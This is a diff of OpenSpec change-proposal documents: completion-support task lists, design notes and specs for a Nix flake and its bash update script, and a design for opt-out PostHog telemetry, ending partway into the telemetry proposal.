|
||||
- [x] Create test file `test/core/completions/installers/bash-installer.test.ts` mirroring zsh test structure
|
||||
- [x] Verify bash completions work manually: `openspec completion install bash && exec bash`
|
||||
|
||||
## Phase 2: Fish Support
|
||||
|
||||
- [x] Create `src/core/completions/generators/fish-generator.ts` implementing `CompletionGenerator` interface
|
||||
- [x] Create `src/core/completions/installers/fish-installer.ts` implementing `CompletionInstaller` interface
|
||||
- [x] Update `CompletionFactory.createGenerator()` to support fish
|
||||
- [x] Update `CompletionFactory.createInstaller()` to support fish
|
||||
- [x] Create test file `test/core/completions/generators/fish-generator.test.ts`
|
||||
- [x] Create test file `test/core/completions/installers/fish-installer.test.ts`
|
||||
- [x] Verify fish completions work manually: `openspec completion install fish`
|
||||
|
||||
## Phase 3: PowerShell Support
|
||||
|
||||
- [x] Create `src/core/completions/generators/powershell-generator.ts` implementing `CompletionGenerator` interface
|
||||
- [x] Create `src/core/completions/installers/powershell-installer.ts` implementing `CompletionInstaller` interface
|
||||
- [x] Update `CompletionFactory.createGenerator()` to support powershell
|
||||
- [x] Update `CompletionFactory.createInstaller()` to support powershell
|
||||
- [x] Create test file `test/core/completions/generators/powershell-generator.test.ts`
|
||||
- [x] Create test file `test/core/completions/installers/powershell-installer.test.ts`
|
||||
- [x] Verify PowerShell completions work manually on Windows or macOS PowerShell
|
||||
|
||||
## Phase 4: Documentation and Testing
|
||||
|
||||
- [x] Update `CLAUDE.md` or relevant documentation to mention all four supported shells
|
||||
- [x] Add cross-shell consistency test verifying all shells support same commands
|
||||
- [x] Run `pnpm test` to ensure all tests pass
|
||||
- [x] Run `pnpm run build` to verify TypeScript compilation
|
||||
- [x] Test all shells on different platforms (Linux for bash/fish/zsh, Windows/macOS for PowerShell)
|
||||
|
||||
## Phase 5: Validation and Cleanup
|
||||
|
||||
- [x] Run `openspec validate extend-shell-completions --strict` and resolve all issues
|
||||
- [x] Update error messages to list all four supported shells
|
||||
- [x] Verify `openspec completion --help` documentation is current
|
||||
- [x] Test auto-detection works for all shells
|
||||
- [x] Ensure uninstall works cleanly for all shells
|
||||
@@ -0,0 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-01-07
|
||||
@@ -0,0 +1,94 @@
|
||||
## Context
|
||||
|
||||
OpenSpec is a TypeScript CLI tool using pnpm for dependency management. The project requires Node.js ≥20.19.0. Nix uses its own build system that needs to understand how to fetch dependencies and build the project reproducibly.
|
||||
|
||||
The Nix ecosystem has specific patterns for packaging Node.js/pnpm projects that differ from the traditional npm ecosystem.
|
||||
|
||||
## Goals
|
||||
|
||||
- Enable OpenSpec to be run directly via `nix run github:Fission-AI/OpenSpec`
|
||||
- Support all major platforms (Linux x86/ARM, macOS x86/ARM)
|
||||
- Use existing pnpm-lock.yaml for reproducible builds
|
||||
- Provide development environment for Nix users
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Replace existing npm/pnpm publishing workflow
|
||||
- Publish to nixpkgs (can be done later as separate effort)
|
||||
- Support Windows (Nix doesn't run natively on Windows)
|
||||
|
||||
## Decisions
|
||||
|
||||
### Use stdenv.mkDerivation instead of buildNpmPackage
|
||||
|
||||
**Decision**: Package OpenSpec using `stdenv.mkDerivation` with pnpm hooks.
|
||||
|
||||
**Rationale**: The zigbee2mqtt package in nixpkgs demonstrates the current best practice for pnpm projects. Using `buildNpmPackage` with pnpm requires complex configuration, while `mkDerivation` with the right hooks is more straightforward and better supported.
|
||||
|
||||
**Alternative considered**: Using `buildNpmPackage` with `npmConfigHook = pkgs.pnpmConfigHook` - this is the older pattern and causes issues with dependency fetching.
|
||||
|
||||
### Use fetchPnpmDeps with explicit pnpm version
|
||||
|
||||
**Decision**: Use `pkgs.fetchPnpmDeps` with `pnpm = pkgs.pnpm_9` and `fetcherVersion = 3`.
|
||||
|
||||
**Rationale**:
|
||||
- pnpm lockfile version 9.0 requires fetcherVersion 3
|
||||
- Explicit pnpm_9 ensures consistency between fetch and build
|
||||
- This is the documented way to handle pnpm projects in nixpkgs
|
||||
|
||||
### Multi-platform support without flake-utils
|
||||
|
||||
**Decision**: Implement multi-platform support using plain Nix with `nixpkgs.lib.genAttrs`.
|
||||
|
||||
**Rationale**: Per user request, avoid extra dependencies. The `genAttrs` pattern is simple and well-understood in the Nix community.
|
||||
|
||||
### Node.js 20 instead of latest
|
||||
|
||||
**Decision**: Pin to nodejs_20 to match package.json engines requirement.
|
||||
|
||||
**Rationale**: Ensures consistency with development environment and npm package requirements. Avoids potential compatibility issues with newer Node versions.
|
||||
|
||||
## Key Implementation Details
|
||||
|
||||
### Dependency Hash Management
|
||||
|
||||
The `pnpmDeps.hash` field must be updated whenever dependencies change. The workflow:
|
||||
1. Set hash to fake value (all zeros)
|
||||
2. Run `nix build`
|
||||
3. Nix fails with actual hash
|
||||
4. Update flake.nix with correct hash
|
||||
|
||||
This is standard Nix workflow for fixed-output derivations.
|
||||
|
||||
### Build Inputs
|
||||
|
||||
Required nativeBuildInputs:
|
||||
- `nodejs_20` - runtime
|
||||
- `npmHooks.npmInstallHook` - handles installation phase
|
||||
- `pnpmConfigHook` - configures pnpm environment
|
||||
- `pnpm_9` - pnpm executable
|
||||
|
||||
The `dontNpmPrune = true` is important to keep all dependencies after build.
|
||||
|
||||
## Risks / Trade-offs
|
||||
|
||||
**[Risk]** Hash needs updating when dependencies change → **Mitigation**: Document this clearly; error message from Nix provides correct hash
|
||||
|
||||
**[Risk]** Nix builds might lag behind npm releases → **Mitigation**: This is fine; Nix users can still use npm if they need bleeding edge
|
||||
|
||||
**[Trade-off]** Additional maintenance burden for hash updates → **Benefit**: Better experience for Nix ecosystem users
|
||||
|
||||
## Migration Plan
|
||||
|
||||
1. Add flake.nix to repository
|
||||
2. Test builds on multiple platforms (can use GitHub Actions with Nix)
|
||||
3. Update README with Nix installation instructions
|
||||
4. Optionally add to CI pipeline to catch hash mismatches early
|
||||
|
||||
No breaking changes - this is purely additive.
|
||||
|
||||
## Open Questions
|
||||
|
||||
- Should we add automatic hash updating to CI? (Could use nix-update-script)
|
||||
- Should we submit to nixpkgs after validation? (Separate decision)
|
||||
- Do we want to support older Node versions in flake? (Probably no - stick to package.json requirement)
|
||||
@@ -0,0 +1,25 @@
|
||||
## Why
|
||||
|
||||
OpenSpec users on NixOS or using the Nix package manager cannot easily install or run OpenSpec without going through npm. Adding a Nix flake makes OpenSpec a first-class citizen in the Nix ecosystem, enabling users to run `nix run github:Fission-AI/OpenSpec -- init` or include OpenSpec in their development environments declaratively.
|
||||
|
||||
## What Changes
|
||||
|
||||
- Add `flake.nix` to repository root with multi-platform support (x86_64-linux, aarch64-linux, x86_64-darwin, aarch64-darwin)
|
||||
- Package uses pnpm for dependency management (matching existing development workflow)
|
||||
- Support both direct execution via `nix run` and installation via `nix profile install`
|
||||
- Provide dev shell for contributors using Nix
|
||||
|
||||
## Capabilities
|
||||
|
||||
### New Capabilities
|
||||
- `nix-flake-support`: Nix flake configuration for building and running OpenSpec
|
||||
|
||||
### Modified Capabilities
|
||||
- None
|
||||
|
||||
## Impact
|
||||
|
||||
- **New files**: `flake.nix` in repository root
|
||||
- **Documentation**: Should add installation instructions for Nix users
|
||||
- **CI/CD**: Could add flake checking to CI pipeline (optional)
|
||||
- **Maintenance**: Requires updating pnpmDeps hash when dependencies change
|
||||
+79
@@ -0,0 +1,79 @@
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Multi-platform Nix flake
|
||||
The system SHALL provide a Nix flake that builds OpenSpec for multiple platforms.
|
||||
|
||||
#### Scenario: Build on Linux x86_64
|
||||
- **WHEN** user runs `nix build` on x86_64-linux system
|
||||
- **THEN** system builds OpenSpec package successfully
|
||||
- **AND** package includes the `openspec` binary
|
||||
|
||||
#### Scenario: Build on macOS ARM
|
||||
- **WHEN** user runs `nix build` on aarch64-darwin system
|
||||
- **THEN** system builds OpenSpec package successfully
|
||||
- **AND** package includes the `openspec` binary
|
||||
|
||||
#### Scenario: Build on Linux ARM
|
||||
- **WHEN** user runs `nix build` on aarch64-linux system
|
||||
- **THEN** system builds OpenSpec package successfully
|
||||
|
||||
#### Scenario: Build on macOS x86_64
|
||||
- **WHEN** user runs `nix build` on x86_64-darwin system
|
||||
- **THEN** system builds OpenSpec package successfully
|
||||
|
||||
### Requirement: Direct execution via nix run
|
||||
The system SHALL allow users to run OpenSpec directly from GitHub without installing.
|
||||
|
||||
#### Scenario: Run init command from GitHub
|
||||
- **WHEN** user runs `nix run github:Fission-AI/OpenSpec -- init`
|
||||
- **THEN** system downloads and builds OpenSpec
|
||||
- **AND** executes `openspec init` command
|
||||
|
||||
#### Scenario: Run any OpenSpec command
|
||||
- **WHEN** user runs `nix run github:Fission-AI/OpenSpec -- <command> <args>`
|
||||
- **THEN** system executes `openspec <command> <args>`
|
||||
|
||||
### Requirement: pnpm dependency management
|
||||
The system SHALL use pnpm for building OpenSpec in the Nix flake.
|
||||
|
||||
#### Scenario: Fetch dependencies with pnpm
|
||||
- **WHEN** Nix builds the package
|
||||
- **THEN** system uses `fetchPnpmDeps` to download dependencies
|
||||
- **AND** uses pnpm-lock.yaml for reproducible builds
|
||||
- **AND** uses fetcherVersion 3 for lockfile version 9.0
|
||||
|
||||
#### Scenario: Build with pnpm
|
||||
- **WHEN** Nix runs the build phase
|
||||
- **THEN** system executes `pnpm run build`
|
||||
- **AND** produces dist directory with compiled TypeScript
|
||||
|
||||
### Requirement: Node.js version compatibility
|
||||
The system SHALL use Node.js 20 as specified in package.json engines field.
|
||||
|
||||
#### Scenario: Build with correct Node version
|
||||
- **WHEN** Nix builds OpenSpec
|
||||
- **THEN** system uses nodejs_20 from nixpkgs
|
||||
- **AND** build succeeds without version compatibility errors
|
||||
|
||||
### Requirement: Development shell
|
||||
The system SHALL provide a Nix development shell for contributors.
|
||||
|
||||
#### Scenario: Enter dev shell
|
||||
- **WHEN** user runs `nix develop` in OpenSpec repository
|
||||
- **THEN** system provides shell with nodejs_20 and pnpm_9
|
||||
- **AND** displays welcome message with versions
|
||||
- **AND** provides instructions to run `pnpm install`
|
||||
|
||||
### Requirement: Proper binary installation
|
||||
The system SHALL install the openspec binary correctly.
|
||||
|
||||
#### Scenario: Binary in PATH
|
||||
- **WHEN** package is built or installed
|
||||
- **THEN** `openspec` binary is available in `$out/bin/openspec`
|
||||
- **AND** binary is executable
|
||||
- **AND** binary can be invoked without full path when installed
|
||||
|
||||
#### Scenario: Binary executes correctly
|
||||
- **WHEN** user runs the installed `openspec` command
|
||||
- **THEN** system executes the CLI entry point
|
||||
- **AND** all subcommands work correctly
|
||||
@@ -0,0 +1,65 @@
|
||||
## 1. Create Flake Structure
|
||||
|
||||
- [x] 1.1 Create flake.nix in repository root
|
||||
- [x] 1.2 Define inputs (nixpkgs only, no flake-utils)
|
||||
- [x] 1.3 Set up supportedSystems list (4 platforms)
|
||||
- [x] 1.4 Create forAllSystems helper function
|
||||
|
||||
## 2. Configure Package Build
|
||||
|
||||
- [x] 2.1 Set up stdenv.mkDerivation with finalAttrs pattern
|
||||
- [x] 2.2 Configure pnpmDeps with fetchPnpmDeps
|
||||
- [x] 2.3 Set pnpm = pnpm_9 and fetcherVersion = 3
|
||||
- [x] 2.4 Add placeholder hash (all zeros)
|
||||
- [x] 2.5 Configure nativeBuildInputs (nodejs_20, hooks, pnpm_9)
|
||||
- [x] 2.6 Set dontNpmPrune = true
|
||||
|
||||
## 3. Define Build Phase
|
||||
|
||||
- [x] 3.1 Add buildPhase with runHook preBuild
|
||||
- [x] 3.2 Add pnpm run build command
|
||||
- [x] 3.3 Add runHook postBuild
|
||||
|
||||
## 4. Configure Installation
|
||||
|
||||
- [x] 4.1 Let npmInstallHook handle installation automatically
|
||||
- [x] 4.2 Verify binary ends up in $out/bin/openspec
|
||||
|
||||
## 5. Add Metadata
|
||||
|
||||
- [x] 5.1 Set meta.description
|
||||
- [x] 5.2 Set meta.homepage
|
||||
- [x] 5.3 Set meta.license (MIT)
|
||||
- [x] 5.4 Set meta.mainProgram = "openspec"
|
||||
|
||||
## 6. Configure App Entry Point
|
||||
|
||||
- [x] 6.1 Add apps output with forAllSystems
|
||||
- [x] 6.2 Set default app to openspec binary
|
||||
- [x] 6.3 Test that nix run works
|
||||
|
||||
## 7. Add Development Shell
|
||||
|
||||
- [x] 7.1 Add devShells output with forAllSystems
|
||||
- [x] 7.2 Include nodejs_20 and pnpm_9 in buildInputs
|
||||
- [x] 7.3 Add shellHook with welcome message and instructions
|
||||
|
||||
## 8. Get Correct Dependency Hash
|
||||
|
||||
- [x] 8.1 Run nix build to trigger hash mismatch
|
||||
- [x] 8.2 Copy correct hash from error message
|
||||
- [x] 8.3 Update pnpmDeps.hash in flake.nix
|
||||
- [x] 8.4 Verify build succeeds
|
||||
|
||||
## 9. Testing
|
||||
|
||||
- [x] 9.1 Test `nix build` on x86_64-linux
|
||||
- [x] 9.2 Test `nix run . -- --version` works
|
||||
- [x] 9.3 Test `nix develop` provides correct environment
|
||||
- [ ] 9.4 Test on macOS if available
|
||||
- [ ] 9.5 Test `nix run github:Fission-AI/OpenSpec -- init` after merge to main
|
||||
|
||||
## 10. Documentation
|
||||
|
||||
- [x] 10.1 Add Nix installation section to README
|
||||
- [x] 10.2 Include example commands for common Nix workflows in README
|
||||
@@ -0,0 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-01-09
|
||||
@@ -0,0 +1,117 @@
|
||||
## Context
|
||||
|
||||
The Nix flake added in the previous change requires manual maintenance when:
|
||||
1. Package version changes (must update flake.nix version field)
|
||||
2. Dependencies change (must update pnpmDeps hash)
|
||||
|
||||
Currently this requires maintainers to:
|
||||
- Manually edit flake.nix version
|
||||
- Set placeholder hash
|
||||
- Run nix build to get error
|
||||
- Copy hash from error message
|
||||
- Update flake.nix again
|
||||
- Verify build works
|
||||
|
||||
This is tedious and error-prone, especially for maintainers unfamiliar with Nix.
|
||||
|
||||
## Goals
|
||||
|
||||
- Automate version and hash updates for flake.nix
|
||||
- Make script idempotent and safe to run multiple times
|
||||
- Provide clear feedback during execution
|
||||
- Integrate easily into release workflow
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Automatically commit changes (maintainer decides when to commit)
|
||||
- Support non-pnpm package managers
|
||||
- Handle complex Nix configurations beyond OpenSpec's use case
|
||||
|
||||
## Decisions
|
||||
|
||||
### Use Bash instead of Node.js script
|
||||
|
||||
**Decision**: Implement as bash script rather than Node.js.
|
||||
|
||||
**Rationale**:
|
||||
- Needs to call Nix commands which are bash-native
|
||||
- Parsing Nix output is simpler in bash with grep/sed
|
||||
- Maintainers updating flake.nix likely have Nix installed (bash environment)
|
||||
- Node.js would add unnecessary complexity for shell operations
|
||||
|
||||
**Alternative considered**: Node.js script with child_process - adds dependency on extra npm packages for shell operations, less natural for Nix tooling.
|
||||
|
||||
### Extract hash from build error output
|
||||
|
||||
**Decision**: Trigger intentional build failure with placeholder hash to get correct hash.
|
||||
|
||||
**Rationale**: This is the standard Nix workflow for updating fixed-output derivations. No API exists to compute the hash without building.
|
||||
|
||||
**Alternative considered**: Pre-compute hash from pnpm-lock.yaml - would require understanding Nix's hash algorithm and pnpm's lockfile structure, fragile and non-standard.
|
||||
|
||||
### Use sed for in-place file editing
|
||||
|
||||
**Decision**: Use `sed -i` for updating flake.nix in place.
|
||||
|
||||
**Rationale**: Simple, available on all Unix-like systems, handles the specific replacement patterns needed.
|
||||
|
||||
**Alternative considered**:
|
||||
- Using Node.js to parse/modify: Overkill for simple string replacement
|
||||
- Manual `sed` without `-i`: Requires temp files, more complex
|
||||
|
||||
### Verify build after hash update
|
||||
|
||||
**Decision**: Always run verification build after updating hash.
|
||||
|
||||
**Rationale**: Catches errors immediately, gives maintainer confidence the update worked.
|
||||
|
||||
**Trade-off**: Takes extra time (~30s) but prevents broken flake.nix commits.
|
||||
|
||||
## Key Implementation Details
|
||||
|
||||
### Path Resolution
|
||||
|
||||
Script calculates paths relative to its own location:
|
||||
```bash
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
```
|
||||
|
||||
This allows running from any working directory.
|
||||
|
||||
### Error Handling
|
||||
|
||||
Uses `set -euo pipefail` for strict error handling:
|
||||
- `-e`: Exit on any command failure
|
||||
- `-u`: Exit on undefined variable access
|
||||
- `-o pipefail`: Catch failures in pipes
|
||||
|
||||
### Hash Extraction Pattern
|
||||
|
||||
Uses grep with Perl regex to extract hash:
|
||||
```bash
|
||||
grep -oP 'got:\s+\Ksha256-[A-Za-z0-9+/=]+'
|
||||
```
|
||||
|
||||
This reliably extracts the hash regardless of surrounding text.
|
||||
|
||||
## Risks / Trade-offs
|
||||
|
||||
**[Risk]** Script assumes standard Nix error message format → **Mitigation**: If extraction fails, script exits with error and shows full output
|
||||
|
||||
**[Risk]** Build might fail for reasons other than hash mismatch → **Mitigation**: Script checks for hash in output before proceeding
|
||||
|
||||
**[Trade-off]** Requires Nix installed to run → **Benefit**: Only maintainers updating flake need to run this, and they have Nix
|
||||
|
||||
## Migration Plan
|
||||
|
||||
1. Add script to scripts directory
|
||||
2. Document in scripts/README.md
|
||||
3. Use in next version bump to verify workflow
|
||||
4. Update CONTRIBUTING.md if needed to mention script
|
||||
|
||||
No breaking changes - purely additive tooling.
|
||||
|
||||
## Open Questions
|
||||
|
||||
None - straightforward automation script.
|
||||
@@ -0,0 +1,23 @@
|
||||
## Why
|
||||
|
||||
Maintaining the Nix flake requires manual updates to version and dependency hash when releasing new versions or updating dependencies. This is error-prone and requires maintainers to understand Nix internals. Automating this process ensures consistency and reduces friction for releases.
|
||||
|
||||
## What Changes
|
||||
|
||||
- Add `scripts/update-flake.sh` to automatically update flake.nix version and dependency hash
|
||||
- Add `scripts/README.md` documenting all maintenance scripts
|
||||
- Script extracts version from package.json and determines correct pnpm dependency hash automatically
|
||||
|
||||
## Capabilities
|
||||
|
||||
### New Capabilities
|
||||
- `flake-update-script`: Automation script for maintaining flake.nix
|
||||
|
||||
### Modified Capabilities
|
||||
- None
|
||||
|
||||
## Impact
|
||||
|
||||
- **New files**: `scripts/update-flake.sh`, `scripts/README.md`
|
||||
- **Maintainer workflow**: Version bumps now include running `./scripts/update-flake.sh`
|
||||
- **Dependencies**: Script requires Node.js (already a dependency) and Nix (for maintainers using Nix)
|
||||
+86
@@ -0,0 +1,86 @@
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Automatic Version Update
|
||||
The script SHALL automatically update the version in flake.nix to match package.json.
|
||||
|
||||
#### Scenario: Version extraction from package.json
|
||||
- **WHEN** script runs
|
||||
- **THEN** version is read from package.json using Node.js
|
||||
- **AND** version field in flake.nix is updated to match
|
||||
|
||||
#### Scenario: Version already up-to-date
|
||||
- **WHEN** script runs and flake.nix version already matches package.json
|
||||
- **THEN** script reports version is up-to-date
|
||||
- **AND** continues to hash update
|
||||
|
||||
### Requirement: Automatic Hash Determination
|
||||
The script SHALL automatically determine and update the correct pnpm dependency hash.
|
||||
|
||||
#### Scenario: Trigger build to get hash
|
||||
- **WHEN** script needs to determine correct hash
|
||||
- **THEN** script sets placeholder hash in flake.nix
|
||||
- **AND** runs nix build which fails with correct hash
|
||||
- **AND** extracts correct hash from build error output
|
||||
|
||||
#### Scenario: Hash extraction from build output
|
||||
- **WHEN** nix build fails with hash mismatch
|
||||
- **THEN** script parses "got: sha256-..." from error output
|
||||
- **AND** updates flake.nix with correct hash
|
||||
|
||||
#### Scenario: Hash update failure
|
||||
- **WHEN** script cannot extract hash from build output
|
||||
- **THEN** script exits with error
|
||||
- **AND** displays build output for debugging
|
||||
|
||||
### Requirement: Build Verification
|
||||
The script SHALL verify that flake.nix builds successfully after updates.
|
||||
|
||||
#### Scenario: Successful verification
|
||||
- **WHEN** hash has been updated
|
||||
- **THEN** script runs nix build to verify
|
||||
- **AND** reports success if build completes
|
||||
|
||||
#### Scenario: Dirty git tree warning
|
||||
- **WHEN** build succeeds but git tree is dirty
|
||||
- **THEN** script reports warning about dirty tree
|
||||
- **AND** still indicates build success
|
||||
|
||||
### Requirement: User Feedback
|
||||
The script SHALL provide clear progress information and next steps.
|
||||
|
||||
#### Scenario: Progress reporting
|
||||
- **WHEN** script runs
|
||||
- **THEN** each step is reported with descriptive message
|
||||
- **AND** detected version and hash are displayed
|
||||
|
||||
#### Scenario: Success summary
|
||||
- **WHEN** script completes successfully
|
||||
- **THEN** summary shows updated version and hash
|
||||
- **AND** next steps are displayed (test, commit, etc.)
|
||||
|
||||
### Requirement: Script Safety
|
||||
The script SHALL fail fast on errors and use safe defaults.
|
||||
|
||||
#### Scenario: Bash error handling
|
||||
- **WHEN** script encounters an error
|
||||
- **THEN** script exits immediately (set -e)
|
||||
- **AND** undefined variables cause exit (set -u)
|
||||
- **AND** pipe failures are caught (set -o pipefail)
|
||||
|
||||
#### Scenario: File path resolution
|
||||
- **WHEN** script determines file locations
|
||||
- **THEN** paths are calculated relative to script location
|
||||
- **AND** script works regardless of working directory
|
||||
|
||||
### Requirement: Documentation
|
||||
The system SHALL provide documentation for the update script.
|
||||
|
||||
#### Scenario: Script usage documentation
|
||||
- **WHEN** maintainer needs to use update script
|
||||
- **THEN** scripts/README.md explains when and how to use it
|
||||
- **AND** example workflow is provided
|
||||
|
||||
#### Scenario: Script listing
|
||||
- **WHEN** maintainer views scripts/README.md
|
||||
- **THEN** all maintenance scripts are documented
|
||||
- **AND** purpose of each script is clear
|
||||
@@ -0,0 +1,55 @@
|
||||
## 1. Create Update Script
|
||||
|
||||
- [x] 1.1 Create scripts/update-flake.sh file
|
||||
- [x] 1.2 Add shebang and error handling (set -euo pipefail)
|
||||
- [x] 1.3 Add path resolution for project root and files
|
||||
- [x] 1.4 Make script executable (chmod +x)
|
||||
|
||||
## 2. Implement Version Update Logic
|
||||
|
||||
- [x] 2.1 Extract version from package.json using Node.js
|
||||
- [x] 2.2 Use sed to update version in flake.nix
|
||||
- [x] 2.3 Report if version already up-to-date
|
||||
- [x] 2.4 Display detected version to user
|
||||
|
||||
## 3. Implement Hash Update Logic
|
||||
|
||||
- [x] 3.1 Set placeholder hash in flake.nix
|
||||
- [x] 3.2 Run nix build and capture output (allow failure)
|
||||
- [x] 3.3 Extract correct hash from build error using grep
|
||||
- [x] 3.4 Handle case where hash extraction fails
|
||||
- [x] 3.5 Update flake.nix with correct hash
|
||||
- [x] 3.6 Display detected hash to user
|
||||
|
||||
## 4. Add Build Verification
|
||||
|
||||
- [x] 4.1 Run nix build after hash update
|
||||
- [x] 4.2 Check for dirty git tree warning
|
||||
- [x] 4.3 Report success or failure clearly
|
||||
|
||||
## 5. Add User Feedback
|
||||
|
||||
- [x] 5.1 Add progress messages for each step
|
||||
- [x] 5.2 Add success summary with version and hash
|
||||
- [x] 5.3 Add next steps instructions (test, commit)
|
||||
- [x] 5.4 Add error messages with context
|
||||
|
||||
## 6. Create Documentation
|
||||
|
||||
- [x] 6.1 Create scripts/README.md
|
||||
- [x] 6.2 Document update-flake.sh purpose and usage
|
||||
- [x] 6.3 Add example workflow
|
||||
- [x] 6.4 Document other existing scripts
|
||||
|
||||
## 7. Testing
|
||||
|
||||
- [x] 7.1 Test script runs successfully
|
||||
- [x] 7.2 Verify version is extracted correctly
|
||||
- [x] 7.3 Verify hash is updated correctly
|
||||
- [x] 7.4 Verify build succeeds after update
|
||||
- [x] 7.5 Test idempotency (running twice works)
|
||||
|
||||
## 8. Integration
|
||||
|
||||
- [ ] 8.1 Add note to release process documentation
|
||||
- [ ] 8.2 Use in next actual version bump to validate workflow
|
||||
@@ -0,0 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-01-10
|
||||
@@ -0,0 +1,175 @@
|
||||
## Context
|
||||
|
||||
OpenSpec needs usage analytics to understand adoption and inform product decisions. PostHog provides a privacy-conscious analytics platform suitable for open source projects.
|
||||
|
||||
## Goals / Non-Goals
|
||||
|
||||
**Goals:**
|
||||
- Track daily/weekly/monthly active usage
|
||||
- Understand command usage patterns
|
||||
- Keep implementation minimal and privacy-respecting
|
||||
- Enable opt-out with minimal friction
|
||||
|
||||
**Non-Goals:**
|
||||
- Detailed error tracking or diagnostics
|
||||
- User identification or profiling
|
||||
- Complex event hierarchies
|
||||
- Full CLI command for telemetry management (env var sufficient for now)
|
||||
|
||||
## Decisions
|
||||
|
||||
### Opt-Out Model
|
||||
|
||||
**Decision:** Telemetry enabled by default, opt-out via environment variable.
|
||||
|
||||
```bash
|
||||
OPENSPEC_TELEMETRY=0 # Disable telemetry
|
||||
DO_NOT_TRACK=1 # Industry standard, also respected
|
||||
```
|
||||
|
||||
Auto-disabled when `CI=true` is detected.
|
||||
|
||||
**Rationale:**
|
||||
- Opt-in typically yields ~3% participation—not enough for meaningful data
|
||||
- Understanding usage patterns requires statistically significant sample sizes
|
||||
- Environment variable opt-out is simple and immediate
|
||||
- Respecting `DO_NOT_TRACK` follows industry convention
|
||||
|
||||
**Alternatives considered:**
|
||||
- Opt-in only - Insufficient data for product decisions
|
||||
- Config file setting - More complex, env var sufficient for MVP
|
||||
- Full `openspec telemetry` command - Can add later if users request
|
||||
|
||||
### Event Design
|
||||
|
||||
**Decision:** Single event type with minimal properties.
|
||||
|
||||
```typescript
|
||||
{
|
||||
event: 'command_executed',
|
||||
properties: {
|
||||
command: 'init', // Command name only
|
||||
version: '1.2.3' // OpenSpec version
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Rationale:**
|
||||
- Answers the core questions: how much usage, which commands are popular
|
||||
- PostHog derives DAU/WAU/MAU from anonymous user counts over time
|
||||
- No arguments, paths, or content—clean privacy story
|
||||
- Easy to explain in disclosure notice
|
||||
|
||||
**Not tracked:**
|
||||
- Command arguments
|
||||
- File paths or contents
|
||||
- Error messages or stack traces
|
||||
- Project names or spec content
|
||||
- IP addresses (`$ip: null` explicitly set)
|
||||
|
||||
### Anonymous ID
|
||||
|
||||
**Decision:** Random UUID, lazily generated on first telemetry send, stored in global config.
|
||||
|
||||
```typescript
|
||||
// ~/.config/openspec/config.json
|
||||
{
|
||||
"telemetry": {
|
||||
"anonymousId": "f47ac10b-58cc-4372-a567-0e02b2c3d479"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Rationale:**
|
||||
- Random UUID has no relation to the person—can't be reversed
|
||||
- Stored in config so same user = same ID across sessions (needed for DAU/WAU/MAU)
|
||||
- Lazy generation means no ID created if user opts out before first command
|
||||
- User can delete config to reset identity
|
||||
|
||||
**Alternatives considered:**
|
||||
- Machine-derived hash (hostname, MAC) - Feels invasive, fingerprint-like
|
||||
- Per-session UUID - Breaks user counting metrics entirely
|
||||
|
||||
### SDK Configuration
|
||||
|
||||
**Decision:** PostHog Node SDK with immediate flush, shutdown on exit.
|
||||
|
||||
```typescript
|
||||
const posthog = new PostHog(API_KEY, {
|
||||
flushAt: 1, // Send immediately, don't batch
|
||||
flushInterval: 0 // No timer-based flushing
|
||||
});
|
||||
|
||||
// Before CLI exits
|
||||
await posthog.shutdown();
|
||||
```
|
||||
|
||||
**Rationale:**
|
||||
- CLI processes are short-lived; batching would lose events
|
||||
- `flushAt: 1` ensures each event sends immediately
|
||||
- `shutdown()` guarantees flush before process exit
|
||||
- Adds ~100-300ms to exit—negligible for typical CLI workflows
|
||||
|
||||
**Error handling:**
|
||||
- Network failures silently ignored (telemetry shouldn't break CLI)
|
||||
- `shutdown()` wrapped in try/catch
|
||||
|
||||
### Hook Location
|
||||
|
||||
**Decision:** Commander.js `preAction` and `postAction` hooks.
|
||||
|
||||
```typescript
|
||||
program
|
||||
.hook('preAction', (thisCommand) => {
|
||||
maybeShowTelemetryNotice();
|
||||
trackCommand(thisCommand.name(), VERSION);
|
||||
})
|
||||
.hook('postAction', async () => {
|
||||
await shutdown();
|
||||
});
|
||||
```
|
||||
|
||||
**Rationale:**
|
||||
- Centralized—one place for all telemetry logic
|
||||
- Automatic—new commands get tracked without code changes
|
||||
- Clean separation—command handlers don't know about telemetry
|
||||
|
||||
**Subcommand handling:**
|
||||
- Track full command path for nested commands (e.g., `change:apply`)
|
||||
|
||||
### First-Run Notice
|
||||
|
||||
**Decision:** One-liner on first command ever, stored "seen" flag in config.
|
||||
|
||||
```
|
||||
Note: OpenSpec collects anonymous usage stats. Opt out: OPENSPEC_TELEMETRY=0
|
||||
```
|
||||
|
||||
**Rationale:**
|
||||
- First command (not just `init`) ensures notice is always seen
|
||||
- Non-blocking—no prompt, just informational
|
||||
- One-liner is visible but not intrusive
|
||||
- Storing "seen" in config prevents repeated display
|
||||
|
||||
**Config after first run:**
|
||||
```json
|
||||
{
|
||||
"telemetry": {
|
||||
"anonymousId": "...",
|
||||
"noticeSeen": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Risks / Trade-offs
|
||||
|
||||
| Risk | Mitigation |
|
||||
|------|------------|
|
||||
| Users prefer opt-in | Clear disclosure, trivial opt-out, transparent about what's collected |
|
||||
| GDPR concerns | No personal data, no IP, user can delete config |
|
||||
| Slows CLI exit by ~200ms | Negligible for most workflows; can optimize if needed |
|
||||
| PostHog outage affects CLI | Fire-and-forget with timeout; failures are silent |
|
||||
|
||||
## Open Questions
|
||||
|
||||
None—design is intentionally minimal. Future enhancements (dedicated command, workflow tracking) can be added based on user feedback.
|
||||
@@ -0,0 +1,37 @@
|
||||
## Why
|
||||
|
||||
OpenSpec currently has no visibility into how the tool is being used. Without analytics, we cannot:
|
||||
- Understand which commands and features are most valuable to users
|
||||
- Measure adoption and usage patterns
|
||||
- Make data-driven decisions about product development
|
||||
|
||||
Adding PostHog analytics enables product insights while respecting user privacy through transparent, opt-out telemetry.
|
||||
|
||||
## What Changes
|
||||
|
